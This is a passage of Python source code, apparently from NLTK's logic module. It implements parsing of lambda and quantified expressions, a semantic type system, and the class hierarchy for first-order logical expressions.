accum = self.make_ApplicationExpression(accum, self.process_next_expression(APP))
while self.inRange(0) and self.token(0) == Tokens.COMMA:
self.token() #swallow the comma
accum = self.make_ApplicationExpression(accum, self.process_next_expression(APP))
self.assertNextToken(Tokens.CLOSE)
return accum
def get_next_token_variable(self, description):
try:
tok = self.token()
except ExpectedMoreTokensException as e:
raise ExpectedMoreTokensException(e.index, 'Variable expected.')
if isinstance(self.make_VariableExpression(tok), ConstantExpression):
raise LogicalExpressionException(self._currentIndex,
"'%s' is an illegal variable name. "
"Constants may not be %s." % (tok, description))
return Variable(tok)
def handle_lambda(self, tok, context):
# Expression is a lambda expression
if not self.inRange(0):
raise ExpectedMoreTokensException(self._currentIndex+2,
message="Variable and Expression expected following lambda operator.")
vars = [self.get_next_token_variable('abstracted')]
while True:
if not self.inRange(0) or (self.token(0) == Tokens.DOT and not self.inRange(1)):
raise ExpectedMoreTokensException(self._currentIndex+2, message="Expression expected.")
if not self.isvariable(self.token(0)):
break
# Support expressions like: \x y.M == \x.\y.M
vars.append(self.get_next_token_variable('abstracted'))
if self.inRange(0) and self.token(0) == Tokens.DOT:
self.token() #swallow the dot
accum = self.process_next_expression(tok)
while vars:
accum = self.make_LambdaExpression(vars.pop(), accum)
return accum
def handle_quant(self, tok, context):
# Expression is a quantified expression: some x.M
factory = self.get_QuantifiedExpression_factory(tok)
if not self.inRange(0):
raise ExpectedMoreTokensException(self._currentIndex+2,
message="Variable and Expression expected following quantifier '%s'." % tok)
vars = [self.get_next_token_variable('quantified')]
while True:
if not self.inRange(0) or (self.token(0) == Tokens.DOT and not self.inRange(1)):
raise ExpectedMoreTokensException(self._currentIndex+2, message="Expression expected.")
if not self.isvariable(self.token(0)):
break
# Support expressions like: some x y.M == some x.some y.M
vars.append(self.get_next_token_variable('quantified'))
if self.inRange(0) and self.token(0) == Tokens.DOT:
self.token() #swallow the dot
accum = self.process_next_expression(tok)
while vars:
accum = self.make_QuanifiedExpression(factory, vars.pop(), accum)
return accum
def get_QuantifiedExpression_factory(self, tok):
"""This method serves as a hook for other logic parsers that
have different quantifiers"""
if tok in Tokens.EXISTS_LIST:
return ExistsExpression
elif tok in Tokens.ALL_LIST:
return AllExpression
else:
self.assertToken(tok, Tokens.QUANTS)
def make_QuanifiedExpression(self, factory, variable, term):
return factory(variable, term)
def handle_open(self, tok, context):
#Expression is in parens
accum = self.process_next_expression(None)
self.assertNextToken(Tokens.CLOSE)
return accum
def attempt_EqualityExpression(self, expression, context):
"""Attempt to make an equality expression. If the next token is an
equality operator, then an EqualityExpression will be returned.
Otherwise, the parameter will be returned."""
if self.inRange(0):
tok = self.token(0)
if tok in Tokens.EQ_LIST + Tokens.NEQ_LIST and self.has_priority(tok, context):
self.token() #swallow the "=" or "!="
expression = self.make_EqualityExpression(expression, self.process_next_expression(tok))
if tok in Tokens.NEQ_LIST:
expression = self.make_NegatedExpression(expression)
return expression
def make_EqualityExpression(self, first, second):
"""This method serves as a hook for other logic parsers that
have different equality expression classes"""
return EqualityExpression(first, second)
def attempt_BooleanExpression(self, expression, context):
"""Attempt to make a boolean expression. If the next token is a boolean
operator, then a BooleanExpression will be returned. Otherwise, the
parameter will be returned."""
while self.inRange(0):
tok = self.token(0)
factory = self.get_BooleanExpression_factory(tok)
if factory and self.has_priority(tok, context):
self.token() #swallow the operator
expression = self.make_BooleanExpression(factory, expression,
self.process_next_expression(tok))
else:
break
return expression
def get_BooleanExpression_factory(self, tok):
"""This method serves as a hook for other logic parsers that
have different boolean operators"""
if tok in Tokens.AND_LIST:
return AndExpression
elif tok in Tokens.OR_LIST:
return OrExpression
elif tok in Tokens.IMP_LIST:
return ImpExpression
elif tok in Tokens.IFF_LIST:
return IffExpression
else:
return None
def make_BooleanExpression(self, factory, first, second):
return factory(first, second)
def attempt_ApplicationExpression(self, expression, context):
"""Attempt to make an application expression. The next tokens are
a list of arguments in parens, then the argument expression is a
function being applied to the arguments. Otherwise, return the
argument expression."""
if self.has_priority(APP, context):
if self.inRange(0) and self.token(0) == Tokens.OPEN:
if not isinstance(expression, LambdaExpression) and \
not isinstance(expression, ApplicationExpression) and \
not isinstance(expression, FunctionVariableExpression) and \
not isinstance(expression, ConstantExpression):
raise LogicalExpressionException(self._currentIndex,
("The function '%s" % expression) +
"' is not a Lambda Expression, an "
"Application Expression, or a "
"functional predicate, so it may "
"not take arguments.")
self.token() #swallow then open paren
#curry the arguments
accum = self.make_ApplicationExpression(expression, self.process_next_expression(APP))
while self.inRange(0) and self.token(0) == Tokens.COMMA:
self.token() #swallow the comma
accum = self.make_ApplicationExpression(accum, self.process_next_expression(APP))
self.assertNextToken(Tokens.CLOSE)
return accum
return expression
def make_ApplicationExpression(self, function, argument):
return ApplicationExpression(function, argument)
def make_VariableExpression(self, name):
return VariableExpression(Variable(name))
def make_LambdaExpression(self, variable, term):
return LambdaExpression(variable, term)
def has_priority(self, operation, context):
return self.operator_precedence[operation] < self.operator_precedence[context] or \
(operation in self.right_associated_operations and \
self.operator_precedence[operation] == self.operator_precedence[context])
def assertNextToken(self, expected):
try:
tok = self.token()
except ExpectedMoreTokensException as e:
raise ExpectedMoreTokensException(e.index, message="Expected token '%s'." % expected)
if isinstance(expected, list):
if tok not in expected:
raise UnexpectedTokenException(self._currentIndex, tok, expected)
else:
if tok != expected:
raise UnexpectedTokenException(self._currentIndex, tok, expected)
def assertToken(self, tok, expected):
if isinstance(expected, list):
if tok not in expected:
raise UnexpectedTokenException(self._currentIndex, tok, expected)
else:
if tok != expected:
raise UnexpectedTokenException(self._currentIndex, tok, expected)
def __repr__(self):
if self.inRange(0):
msg = 'Next token: ' + self.token(0)
else:
msg = 'No more tokens'
return '<' + self.__class__.__name__ + ': ' + msg + '>'
def read_logic(s, logic_parser=None, encoding=None):
"""
Convert a file of First Order Formulas into a list of {Expression}s.
:param s: the contents of the file
:type s: str
:param logic_parser: The parser to be used to parse the logical expression
:type logic_parser: LogicParser
:param encoding: the encoding of the input string, if it is binary
:type encoding: str
:return: a list of parsed formulas.
:rtype: list(Expression)
"""
if encoding is not None:
s = s.decode(encoding)
if logic_parser is None:
logic_parser = LogicParser()
statements = []
for linenum, line in enumerate(s.splitlines()):
line = line.strip()
if line.startswith('#') or line=='': continue
try:
statements.append(logic_parser.parse(line))
except LogicalExpressionException:
raise ValueError('Unable to parse line %s: %s' % (linenum, line))
return statements
@total_ordering
@python_2_unicode_compatible
class Variable(object):
def __init__(self, name):
"""
:param name: the name of the variable
"""
assert isinstance(name, string_types), "%s is not a string" % name
self.name = name
def __eq__(self, other):
return isinstance(other, Variable) and self.name == other.name
def __ne__(self, other):
return not self == other
def __lt__(self, other):
if not isinstance(other, Variable):
raise TypeError
return self.name < other.name
def substitute_bindings(self, bindings):
return bindings.get(self, self)
def __hash__(self):
return hash(self.name)
def __str__(self):
return self.name
def __repr__(self):
return "Variable('%s')" % self.name
def unique_variable(pattern=None, ignore=None):
"""
Return a new, unique variable.
:param pattern: ``Variable`` that is being replaced. The new variable must
be the same type.
:param term: a set of ``Variable`` objects that should not be returned from
this function.
:rtype: Variable
"""
if pattern is not None:
if is_indvar(pattern.name):
prefix = 'z'
elif is_funcvar(pattern.name):
prefix = 'F'
elif is_eventvar(pattern.name):
prefix = 'e0'
else:
assert False, "Cannot generate a unique constant"
else:
prefix = 'z'
v = Variable("%s%s" % (prefix, _counter.get()))
while ignore is not None and v in ignore:
v = Variable("%s%s" % (prefix, _counter.get()))
return v
def skolem_function(univ_scope=None):
"""
Return a skolem function over the variables in univ_scope
param univ_scope
"""
skolem = VariableExpression(Variable('F%s' % _counter.get()))
if univ_scope:
for v in list(univ_scope):
skolem = skolem(VariableExpression(v))
return skolem
@python_2_unicode_compatible
class Type(object):
def __repr__(self):
return "%s" % self
def __hash__(self):
return hash("%s" % self)
@classmethod
def fromstring(cls, s):
return read_type(s)
@python_2_unicode_compatible
class ComplexType(Type):
def __init__(self, first, second):
assert(isinstance(first, Type)), "%s is not a Type" % first
assert(isinstance(second, Type)), "%s is not a Type" % second
self.first = first
self.second = second
def __eq__(self, other):
return isinstance(other, ComplexType) and \
self.first == other.first and \
self.second == other.second
def __ne__(self, other):
return not self == other
__hash__ = Type.__hash__
def matches(self, other):
if isinstance(other, ComplexType):
return self.first.matches(other.first) and \
self.second.matches(other.second)
else:
return self == ANY_TYPE
def resolve(self, other):
if other == ANY_TYPE:
return self
elif isinstance(other, ComplexType):
f = self.first.resolve(other.first)
s = self.second.resolve(other.second)
if f and s:
return ComplexType(f,s)
else:
return None
elif self == ANY_TYPE:
return other
else:
return None
def __str__(self):
if self == ANY_TYPE:
return "%s" % ANY_TYPE
else:
return '<%s,%s>' % (self.first, self.second)
def str(self):
if self == ANY_TYPE:
return ANY_TYPE.str()
else:
return '(%s -> %s)' % (self.first.str(), self.second.str())
class BasicType(Type):
def __eq__(self, other):
return isinstance(other, BasicType) and ("%s" % self) == ("%s" % other)
def __ne__(self, other):
return not self == other
__hash__ = Type.__hash__
def matches(self, other):
return other == ANY_TYPE or self == other
def resolve(self, other):
if self.matches(other):
return self
else:
return None
@python_2_unicode_compatible
class EntityType(BasicType):
def __str__(self):
return 'e'
def str(self):
return 'IND'
@python_2_unicode_compatible
class TruthValueType(BasicType):
def __str__(self):
return 't'
def str(self):
return 'BOOL'
@python_2_unicode_compatible
class EventType(BasicType):
def __str__(self):
return 'v'
def str(self):
return 'EVENT'
@python_2_unicode_compatible
class AnyType(BasicType, ComplexType):
def __init__(self):
pass
@property
def first(self): return self
@property
def second(self): return self
def __eq__(self, other):
return isinstance(other, AnyType) or other.__eq__(self)
def __ne__(self, other):
return not self == other
__hash__ = Type.__hash__
def matches(self, other):
return True
def resolve(self, other):
return other
def __str__(self):
return '?'
def str(self):
return 'ANY'
TRUTH_TYPE = TruthValueType()
ENTITY_TYPE = EntityType()
EVENT_TYPE = EventType()
ANY_TYPE = AnyType()
def read_type(type_string):
assert isinstance(type_string, string_types)
type_string = type_string.replace(' ', '') #remove spaces
if type_string[0] == '<':
assert type_string[-1] == '>'
paren_count = 0
for i,char in enumerate(type_string):
if char == '<':
paren_count += 1
elif char == '>':
paren_count -= 1
assert paren_count > 0
elif char == ',':
if paren_count == 1:
break
return ComplexType(read_type(type_string[1 :i ]),
read_type(type_string[i+1:-1]))
elif type_string[0] == "%s" % ENTITY_TYPE:
return ENTITY_TYPE
elif type_string[0] == "%s" % TRUTH_TYPE:
return TRUTH_TYPE
elif type_string[0] == "%s" % ANY_TYPE:
return ANY_TYPE
else:
raise LogicalExpressionException("Unexpected character: '%s'." % type_string[0])
class TypeException(Exception):
def __init__(self, msg):
super(TypeException, self).__init__(msg)
class InconsistentTypeHierarchyException(TypeException):
def __init__(self, variable, expression=None):
if expression:
msg = "The variable '%s' was found in multiple places with different"\
" types in '%s'." % (variable, expression)
else:
msg = "The variable '%s' was found in multiple places with different"\
" types." % (variable)
super(InconsistentTypeHierarchyException, self).__init__(msg)
class TypeResolutionException(TypeException):
def __init__(self, expression, other_type):
super(TypeResolutionException, self).__init__(
"The type of '%s', '%s', cannot be resolved with type '%s'" %
(expression, expression.type, other_type))
class IllegalTypeException(TypeException):
def __init__(self, expression, other_type, allowed_type):
super(IllegalTypeException, self).__init__(
"Cannot set type of %s '%s' to '%s'; must match type '%s'." %
(expression.__class__.__name__, expression, other_type,
allowed_type))
def typecheck(expressions, signature=None):
"""
Ensure correct typing across a collection of ``Expression`` objects.
:param expressions: a collection of expressions
:param signature: dict that maps variable names to types (or string
representations of types)
"""
#typecheck and create master signature
for expression in expressions:
signature = expression.typecheck(signature)
#apply master signature to all expressions
for expression in expressions[:-1]:
expression.typecheck(signature)
return signature
class SubstituteBindingsI(object):
"""
An interface for classes that can perform substitutions for
variables.
"""
def substitute_bindings(self, bindings):
"""
:return: The object that is obtained by replacing
each variable bound by ``bindings`` with its values.
Aliases are already resolved. (maybe?)
:rtype: (any)
"""
raise NotImplementedError()
def variables(self):
"""
:return: A list of all variables in this object.
"""
raise NotImplementedError()
@python_2_unicode_compatible
class Expression(SubstituteBindingsI):
"""This is the base abstract object for all logical expressions"""
_logic_parser = LogicParser()
_type_checking_logic_parser = LogicParser(type_check=True)
@classmethod
def fromstring(cls, s, type_check=False, signature=None):
if type_check:
return cls._type_checking_logic_parser.parse(s, signature)
else:
return cls._logic_parser.parse(s, signature)
def __call__(self, other, *additional):
accum = self.applyto(other)
for a in additional:
accum = accum(a)
return accum
def applyto(self, other):
assert isinstance(other, Expression), "%s is not an Expression" % other
return ApplicationExpression(self, other)
def __neg__(self):
return NegatedExpression(self)
def negate(self):
"""If this is a negated expression, remove the negation.
Otherwise add a negation."""
return -self
def __and__(self, other):
if not isinstance(other, Expression):
raise TypeError("%s is not an Expression" % other)
return AndExpression(self, other)
def __or__(self, other):
if not isinstance(other, Expression):
raise TypeError("%s is not an Expression" % other)
return OrExpression(self, other)
def __gt__(self, other):
if not isinstance(other, Expression):
raise TypeError("%s is not an Expression" % other)
return ImpExpression(self, other)
def __lt__(self, other):
if not isinstance(other, Expression):
raise TypeError("%s is not an Expression" % other)
return IffExpression(self, other)
def __eq__(self, other):
raise NotImplementedError()
def __ne__(self, other):
return not self == other
def equiv(self, other, prover=None):
"""
Check for logical equivalence.
Pass the expression (self <-> other) to the theorem prover.
If the prover says it is valid, then the self and other are equal.
:param other: an ``Expression`` to check equality against
:param prover: a ``nltk.inference.api.Prover``
"""
assert isinstance(other, Expression), "%s is not an Expression" % other
if prover is None:
from nltk.inference import Prover9
prover = Prover9()
bicond = IffExpression(self.simplify(), other.simplify())
return prover.prove(bicond)
def __hash__(self):
return hash(repr(self))
def substitute_bindings(self, bindings):
expr = self
for var in expr.variables():
if var in bindings:
val = bindings[var]
if isinstance(val, Variable):
val = self.make_VariableExpression(val)
elif not isinstance(val, Expression):
raise ValueError('Can not substitute a non-expression '
'value into an expression: %r' % (val,))
# Substitute bindings in the target value.
val = val.substitute_bindings(bindings)
# Replace var w/ the target value.
expr = expr.replace(var, val)
return expr.simplify()
def typecheck(self, signature=None):
"""
Infer and check types. Raise exceptions if necessary.
:param signature: dict that maps variable names to types (or string
representations of types)
:return: the signature, plus any additional type mappings
"""
sig = defaultdict(list)
if signature:
for key in signature:
val = signature[key]
varEx = VariableExpression(Variable(key))
if isinstance(val, Type):
varEx.type = val
else:
varEx.type = read_type(val)
sig[key].append(varEx)
self._set_type(signature=sig)
return dict((key, sig[key][0].type) for key in sig)
def findtype(self, variable):
"""
Find the type of the given variable as it is used in this expression.
For example, finding the type of "P" in "P(x) & Q(x,y)" yields "<e,t>"
:param variable: Variable
"""
raise NotImplementedError()
def _set_type(self, other_type=ANY_TYPE, signature=None):
"""
Set the type of this expression to be the given type. Raise type
exceptions where applicable.
:param other_type: Type
:param signature: dict(str -> list(AbstractVariableExpression))
"""
raise NotImplementedError()
def replace(self, variable, expression, replace_bound=False, alpha_convert=True):
"""
Replace every instance of 'variable' with 'expression'
:param variable: ``Variable`` The variable to replace
:param expression: ``Expression`` The expression with which to replace it
:param replace_bound: bool Should bound variables be replaced?
:param alpha_convert: bool Alpha convert automatically to avoid name clashes?
"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
assert isinstance(expression, Expression), "%s is not an Expression" % expression
return self.visit_structured(lambda e: e.replace(variable, expression,
replace_bound, alpha_convert),
self.__class__)
def normalize(self, newvars=None):
"""Rename auto-generated unique variables"""
def get_indiv_vars(e):
if isinstance(e, IndividualVariableExpression):
return set([e])
elif isinstance(e, AbstractVariableExpression):
return set()
else:
return e.visit(get_indiv_vars,
lambda parts: reduce(operator.or_, parts, set()))
result = self
for i,e in enumerate(sorted(get_indiv_vars(self), key=lambda e: e.variable)):
if isinstance(e,EventVariableExpression):
newVar = e.__class__(Variable('e0%s' % (i+1)))
elif isinstance(e,IndividualVariableExpression):
newVar = e.__class__(Variable('z%s' % (i+1)))
else:
newVar = e
result = result.replace(e.variable, newVar, True)
return result
def visit(self, function, combinator):
"""
Recursively visit subexpressions. Apply 'function' to each
subexpression and pass the result of each function application
to the 'combinator' for aggregation:
return combinator(map(function, self.subexpressions))
Bound variables are neither applied upon by the function nor given to
the combinator.
:param function: ``Function<Expression,T>`` to call on each subexpression
:param combinator: ``Function<list<T>,R>`` to combine the results of the
function calls
:return: result of combination ``R``
"""
raise NotImplementedError()
def visit_structured(self, function, combinator):
"""
Recursively visit subexpressions. Apply 'function' to each
subexpression and pass the result of each function application
to the 'combinator' for aggregation. The combinator must have
the same signature as the constructor. The function is not
applied to bound variables, but they are passed to the
combinator.
:param function: ``Function`` to call on each subexpression
:param combinator: ``Function`` with the same signature as the
constructor, to combine the results of the function calls
:return: result of combination
"""
return self.visit(function, lambda parts: combinator(*parts))
def __repr__(self):
return '<%s %s>' % (self.__class__.__name__, self)
def __str__(self):
return self.str()
def variables(self):
"""
Return a set of all the variables for binding substitution.
The variables returned include all free (non-bound) individual
variables and any variable starting with '?' or '@'.
:return: set of ``Variable`` objects
"""
return self.free() | set(p for p in self.predicates()|self.constants()
if re.match('^[?@]', p.name))
def free(self):
"""
Return a set of all the free (non-bound) variables. This includes
both individual and predicate variables, but not constants.
:return: set of ``Variable`` objects
"""
return self.visit(lambda e: e.free(),
lambda parts: reduce(operator.or_, parts, set()))
def constants(self):
"""
Return a set of individual constants (non-predicates).
:return: set of ``Variable`` objects
"""
return self.visit(lambda e: e.constants(),
lambda parts: reduce(operator.or_, parts, set()))
def predicates(self):
"""
Return a set of predicates (constants, not variables).
:return: set of ``Variable`` objects
"""
return self.visit(lambda e: e.predicates(),
lambda parts: reduce(operator.or_, parts, set()))
def simplify(self):
"""
:return: beta-converted version of this expression
"""
return self.visit_structured(lambda e: e.simplify(), self.__class__)
def make_VariableExpression(self, variable):
return VariableExpression(variable)
@python_2_unicode_compatible
class ApplicationExpression(Expression):
r"""
This class is used to represent two related types of logical expressions.
The first is a Predicate Expression, such as "P(x,y)". A predicate
expression is comprised of a ``FunctionVariableExpression`` or
``ConstantExpression`` as the predicate and a list of Expressions as the
arguments.
The second is a an application of one expression to another, such as
"(\x.dog(x))(fido)".
The reason Predicate Expressions are treated as Application Expressions is
that the Variable Expression predicate of the expression may be replaced
with another Expression, such as a LambdaExpression, which would mean that
the Predicate should be thought of as being applied to the arguments.
The logical expression reader will always curry arguments in a application expression.
So, "\x y.see(x,y)(john,mary)" will be represented internally as
"((\x y.(see(x))(y))(john))(mary)". This simplifies the internals since
there will always be exactly one argument in an application.
The str() method will usually print the curried forms of application
expressions. The one exception is when the the application expression is
really a predicate expression (ie, underlying function is an
``AbstractVariableExpression``). This means that the example from above
will be returned as "(\x y.see(x,y)(john))(mary)".
"""
def __init__(self, function, argument):
"""
:param function: ``Expression``, for the function expression
:param argument: ``Expression``, for the argument
"""
assert isinstance(function, Expression), "%s is not an Expression" % function
assert isinstance(argument, Expression), "%s is not an Expression" % argument
self.function = function
self.argument = argument
def simplify(self):
function = self.function.simplify()
argument = self.argument.simplify()
if isinstance(function, LambdaExpression):
return function.term.replace(function.variable, argument).simplify()
else:
return self.__class__(function, argument)
@property
def type(self):
if isinstance(self.function.type, ComplexType):
return self.function.type.second
else:
return ANY_TYPE
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
self.argument._set_type(ANY_TYPE, signature)
try:
self.function._set_type(ComplexType(self.argument.type, other_type), signature)
except TypeResolutionException:
raise TypeException(
"The function '%s' is of type '%s' and cannot be applied "
"to '%s' of type '%s'. Its argument must match type '%s'."
% (self.function, self.function.type, self.argument,
self.argument.type, self.function.type.first))
def findtype(self, variable):
""":see Expression.findtype()"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
if self.is_atom():
function, args = self.uncurry()
else:
#It's not a predicate expression ("P(x,y)"), so leave args curried
function = self.function
args = [self.argument]
found = [arg.findtype(variable) for arg in [function]+args]
unique = []
for f in found:
if f != ANY_TYPE:
if unique:
for u in unique:
if f.matches(u):
break
else:
unique.append(f)
if len(unique) == 1:
return list(unique)[0]
else:
return ANY_TYPE
def constants(self):
""":see: Expression.constants()"""
if isinstance(self.function, AbstractVariableExpression):
function_constants = set()
else:
function_constants = self.function.constants()
return function_constants | self.argument.constants()
def predicates(self):
""":see: Expression.predicates()"""
if isinstance(self.function, ConstantExpression):
function_preds = set([self.function.variable])
else:
function_preds = self.function.predicates()
return function_preds | self.argument.predicates()
def visit(self, function, combinator):
""":see: Expression.visit()"""
return combinator([function(self.function), function(self.argument)])
def __eq__(self, other):
return isinstance(other, ApplicationExpression) and \
self.function == other.function and \
self.argument == other.argument
def __ne__(self, other):
return not self == other
__hash__ = Expression.__hash__
def __str__(self):
# uncurry the arguments and find the base function
if self.is_atom():
function, args = self.uncurry()
arg_str = ','.join("%s" % arg for arg in args)
else:
#Leave arguments curried
function = self.function
arg_str = "%s" % self.argument
function_str = "%s" % function
parenthesize_function = False
if isinstance(function, LambdaExpression):
if isinstance(function.term, ApplicationExpression):
if not isinstance(function.term.function,
AbstractVariableExpression):
parenthesize_function = True
elif not isinstance(function.term, BooleanExpression):
parenthesize_function = True
elif isinstance(function, ApplicationExpression):
parenthesize_function = True
if parenthesize_function:
function_str = Tokens.OPEN + function_str + Tokens.CLOSE
return function_str + Tokens.OPEN + arg_str + Tokens.CLOSE
def uncurry(self):
"""
Uncurry this application expression
return: A tuple (base-function, arg-list)
"""
function = self.function
args = [self.argument]
while isinstance(function, ApplicationExpression):
#(\x.\y.sees(x,y)(john))(mary)
args.insert(0, function.argument)
function = function.function
return (function, args)
@property
def pred(self):
"""
Return uncurried base-function.
If this is an atom, then the result will be a variable expression.
Otherwise, it will be a lambda expression.
"""
return self.uncurry()[0]
@property
def args(self):
"""
Return uncurried arg-list
"""
return self.uncurry()[1]
def is_atom(self):
"""
Is this expression an atom (as opposed to a lambda expression applied
to a term)?
"""
return isinstance(self.pred, AbstractVariableExpression)
@total_ordering
@python_2_unicode_compatible
class AbstractVariableExpression(Expression):
"""This class represents a variable to be used as a predicate or entity"""
def __init__(self, variable):
"""
:param variable: ``Variable``, for the variable
"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
self.variable = variable
def simplify(self):
return self
def replace(self, variable, expression, replace_bound=False, alpha_convert=True):
""":see: Expression.replace()"""
assert isinstance(variable, Variable), "%s is not an Variable" % variable
assert isinstance(expression, Expression), "%s is not an Expression" % expression
if self.variable == variable:
return expression
else:
return self
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
resolution = other_type
for varEx in signature[self.variable.name]:
resolution = varEx.type.resolve(resolution)
if not resolution:
raise InconsistentTypeHierarchyException(self)
signature[self.variable.name].append(self)
for varEx in signature[self.variable.name]:
varEx.type = resolution
def findtype(self, variable):
""":see Expression.findtype()"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
if self.variable == variable:
return self.type
else:
return ANY_TYPE
def predicates(self):
""":see: Expression.predicates()"""
return set()
def __eq__(self, other):
"""Allow equality between instances of ``AbstractVariableExpression``
subtypes."""
return isinstance(other, AbstractVariableExpression) and \
self.variable == other.variable
def __ne__(self, other):
return not self == other
def __lt__(self, other):
if not isinstance(other, AbstractVariableExpression):
raise TypeError
return self.variable < other.variable
__hash__ = Expression.__hash__
def __str__(self):
return "%s" % self.variable
class IndividualVariableExpression(AbstractVariableExpression):
"""This class represents variables that take the form of a single lowercase
character (other than 'e') followed by zero or more digits."""
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if not other_type.matches(ENTITY_TYPE):
raise IllegalTypeException(self, other_type, ENTITY_TYPE)
signature[self.variable.name].append(self)
def _get_type(self): return ENTITY_TYPE
type = property(_get_type, _set_type)
def free(self):
""":see: Expression.free()"""
return set([self.variable])
def constants(self):
""":see: Expression.constants()"""
return set()
class FunctionVariableExpression(AbstractVariableExpression):
"""This class represents variables that take the form of a single uppercase
character followed by zero or more digits."""
type = ANY_TYPE
def free(self):
""":see: Expression.free()"""
return set([self.variable])
def constants(self):
""":see: Expression.constants()"""
return set()
class EventVariableExpression(IndividualVariableExpression):
"""This class represents variables that take the form of a single lowercase
'e' character followed by zero or more digits."""
type = EVENT_TYPE
class ConstantExpression(AbstractVariableExpression):
"""This class represents variables that do not take the form of a single
character followed by zero or more digits."""
type = ENTITY_TYPE
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if other_type == ANY_TYPE:
#entity type by default, for individuals
resolution = ENTITY_TYPE
else:
resolution = other_type
if self.type != ENTITY_TYPE:
resolution = resolution.resolve(self.type)
for varEx in signature[self.variable.name]:
resolution = varEx.type.resolve(resolution)
if not resolution:
raise InconsistentTypeHierarchyException(self)
signature[self.variable.name].append(self)
for varEx in signature[self.variable.name]:
varEx.type = resolution
def free(self):
""":see: Expression.free()"""
return set()
def constants(self):
""":see: Expression.constants()"""
return set([self.variable])
def VariableExpression(variable):
"""
This is a factory method that instantiates and returns a subtype of
``AbstractVariableExpression`` appropriate for the given variable.
"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
if is_indvar(variable.name):
return IndividualVariableExpression(variable)
elif is_funcvar(variable.name):
return FunctionVariableExpression(variable)
elif is_eventvar(variable.name):
return EventVariableExpression(variable)
else:
return ConstantExpression(variable)
class VariableBinderExpression(Expression):
"""This an abstract class for any Expression that binds a variable in an
Expression. This includes LambdaExpressions and Quantified Expressions"""
def __init__(self, variable, term):
"""
:param variable: ``Variable``, for the variable
:param term: ``Expression``, for the term
"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
assert isinstance(term, Expression), "%s is not an Expression" % term
self.variable = variable
self.term = term
def replace(self, variable, expression, replace_bound=False, alpha_convert=True):
""":see: Expression.replace()"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
assert isinstance(expression, Expression), "%s is not an Expression" % expression
#if the bound variable is the thing being replaced
if self.variable == variable:
if replace_bound:
assert isinstance(expression, AbstractVariableExpression),\
"%s is not a AbstractVariableExpression" % expression
return self.__class__(expression.variable,
self.term.replace(variable, expression, True, alpha_convert))
else:
return self
else:
# if the bound variable appears in the expression, then it must
# be alpha converted to avoid a conflict
if alpha_convert and self.variable in expression.free():
self = self.alpha_convert(unique_variable(pattern=self.variable))
#replace in the term
return self.__class__(self.variable,
self.term.replace(variable, expression, replace_bound, alpha_convert))
def alpha_convert(self, newvar):
"""Rename all occurrences of the variable introduced by this variable
binder in the expression to ``newvar``.
:param newvar: ``Variable``, for the new variable
"""
assert isinstance(newvar, Variable), "%s is not a Variable" % newvar
return self.__class__(newvar,
self.term.replace(self.variable,
VariableExpression(newvar),
True))
def free(self):
""":see: Expression.free()"""
return self.term.free() - set([self.variable])
def findtype(self, variable):
""":see Expression.findtype()"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
if variable == self.variable:
return ANY_TYPE
else:
return self.term.findtype(variable)
def visit(self, function, combinator):
""":see: Expression.visit()"""
return combinator([function(self.term)])
def visit_structured(self, function, combinator):
""":see: Expression.visit_structured()"""
return combinator(self.variable, function(self.term))
def __eq__(self, other):
r"""Defines equality modulo alphabetic variance. If we are comparing
\x.M and \y.N, then check equality of M and N[x/y]."""
if isinstance(self, other.__class__) or \
isinstance(other, self.__class__):
if self.variable == other.variable:
return self.term == other.term
else:
# Comparing \x.M and \y.N. Relabel y in N with x and continue.
varex = VariableExpression(self.variable)
return self.term == other.term.replace(other.variable, varex)
else:
return False
def __ne__(self, other):
return not self == other
__hash__ = Expression.__hash__
@python_2_unicode_compatible
class LambdaExpression(VariableBinderExpression):
@property
def type(self):
return ComplexType(self.term.findtype(self.variable),
self.term.type)
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
self.term._set_type(other_type.second, signature)
if not self.type.resolve(other_type):
raise TypeResolutionException(self, other_type)
def __str__(self):
variables = [self.variable]
term = self.term
while term.__class__ == self.__class__:
variables.append(term.variable)
term = term.term
return Tokens.LAMBDA + ' '.join("%s" % v for v in variables) + \
Tokens.DOT + "%s" % term
@python_2_unicode_compatible
class QuantifiedExpression(VariableBinderExpression):
@property
def type(self): return TRUTH_TYPE
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if not other_type.matches(TRUTH_TYPE):
raise IllegalTypeException(self, other_type, TRUTH_TYPE)
self.term._set_type(TRUTH_TYPE, signature)
def __str__(self):
variables = [self.variable]
term = self.term
while term.__class__ == self.__class__:
variables.append(term.variable)
term = term.term
return self.getQuantifier() + ' ' + ' '.join("%s" % v for v in variables) + \
Tokens.DOT + "%s" % term
class ExistsExpression(QuantifiedExpression):
def getQuantifier(self):
return Tokens.EXISTS
class AllExpression(QuantifiedExpression):
def getQuantifier(self):
return Tokens.ALL
@python_2_unicode_compatible
class NegatedExpression(Expression):
def __init__(self, term):
assert isinstance(term, Expression), "%s is not an Expression" % term
self.term = term
@property
def type(self): return TRUTH_TYPE
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if not other_type.matches(TRUTH_TYPE):
raise IllegalTypeException(self, other_type, TRUTH_TYPE)
self.term._set_type(TRUTH_TYPE, signature)
def findtype(self, variable):
assert isinstance(variable, Variable), "%s is not a Variable" % variable
return self.term.findtype(variable)
def visit(self, function, combinator):
""":see: Expression.visit()"""
